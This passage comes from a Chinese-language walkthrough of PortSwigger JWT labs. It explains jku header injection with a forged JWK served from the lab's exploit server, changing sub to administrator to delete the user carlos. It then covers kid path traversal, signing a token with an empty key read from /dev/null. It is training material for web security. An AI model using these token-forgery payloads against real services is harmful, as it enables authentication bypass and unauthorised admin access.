<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:发送请求到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">repeat</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 6</span><span style="font-family:宋体;font-size:12.0pt;">:复制公钥作为<span lang="EN-US">JWK</span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"fa018615-0392-4d15-89bb-a2c637d9adbd"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 7</span><span style="font-family:宋体;font-size:12.0pt;">:在题目中选择<span lang="EN-US">"Go eo exploit server"</span>,然后加上<span lang="EN-US">key</span>头并保存到<span lang="EN-US">exploit</span>的<span lang="EN-US">body</span>中<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"keys"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"fa018615-0392-4d15-89bb-a2c637d9adbd"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 8</span><span style="font-family:宋体;font-size:12.0pt;">:然后切换至<span lang="EN-US">repeat</span>的<span lang="EN-US">"JSON Web Token"</span>界面,将<span lang="EN-US">kid</span>修改成自己生成的<span lang="EN-US">JWK</span>中的<span lang="EN-US">kid</span>值,将<span lang="EN-US">jku</span>的值改为<span lang="EN-US">exploit</span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 9</span><span style="font-family:宋体;font-size:12.0pt;">:切换<span lang="EN-US">sub</span>为<span lang="EN-US">administrator</span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 10</span><span style="font-family:宋体;font-size:12.0pt;">:点击下面的<span lang="EN-US">sign</span>,选择<span lang="EN-US">Don’t modify header</span>模式<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 11</span><span style="font-family:宋体;font-size:12.0pt;">:更改请求路径发送请求成功越权<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 12</span><span style="font-family:宋体;font-size:12.0pt;">:请求敏感路径删除<span lang="EN-US">carlos</span>用户<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 13</span><span style="font-family:宋体;font-size:12.0pt;">:成功解题<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"># </span></b><b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">注入场景</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">3</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">服务器可能使用几个密钥来签署不同种类的数据,因此</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的报头可能包含</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">id)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数,这有助于服务器在验证签名时确定使用哪个密钥,验证密钥通常存储为一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">集,在这种情况下服务器可以简单地查找与令牌具有相同</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,然而</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">规范没有为这个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">ID</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">定义具体的结构</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">——</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">它只是开发人员选择的任意字符串,例如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">它们可能使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数指向数据库中的特定条目,甚至是文件的名称,如果这个参数也容易受到目录遍历的攻击,攻击者可能会迫使服务器使用其文件系统中的任意文件作为验证密钥,例如:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"../../path/to/file"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"typ"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"JWT"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"HS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"k"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">如果服务器也支持使用对称算法签名的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwt</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">就会特别危险,在这种情况下攻击者可能会将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数指向一个可预测的静态文件,然后使用与该文件内容匹配的秘密对</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行签名,从理论上讲您可以对任何文件这样做,但是最简单的方法之一是使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/dev/null</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,这在大多数</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Linux</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">系统上都存在,由于这是一个空文件,读取它将返回一个空字符串,因此用空字符串对令牌进行签名将会产生有效的签名</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 1</span><span style="font-family:宋体;font-size:12.0pt;">:点击上方<span lang="EN-US">"Access The Lab"</span>进入靶场<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 2</span><span style="font-family:宋体;font-size:12.0pt;">:登录靶场<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:登录后进入到如下邮箱更新界面</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 4</span><span style="font-family:宋体;font-size:12.0pt;">:使用<span lang="EN-US">burpsuite</span>的插件生成一个对称密钥<span lang="EN-US">(Symmetric Key)</span>并将<span lang="EN-US">k</span>的值修改为<span lang="EN-US">"AA=="</span>即为<span lang="EN-US">null</span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"oct"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"38576880-33b7-4446-ade4-f1a78bb6d5c2"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
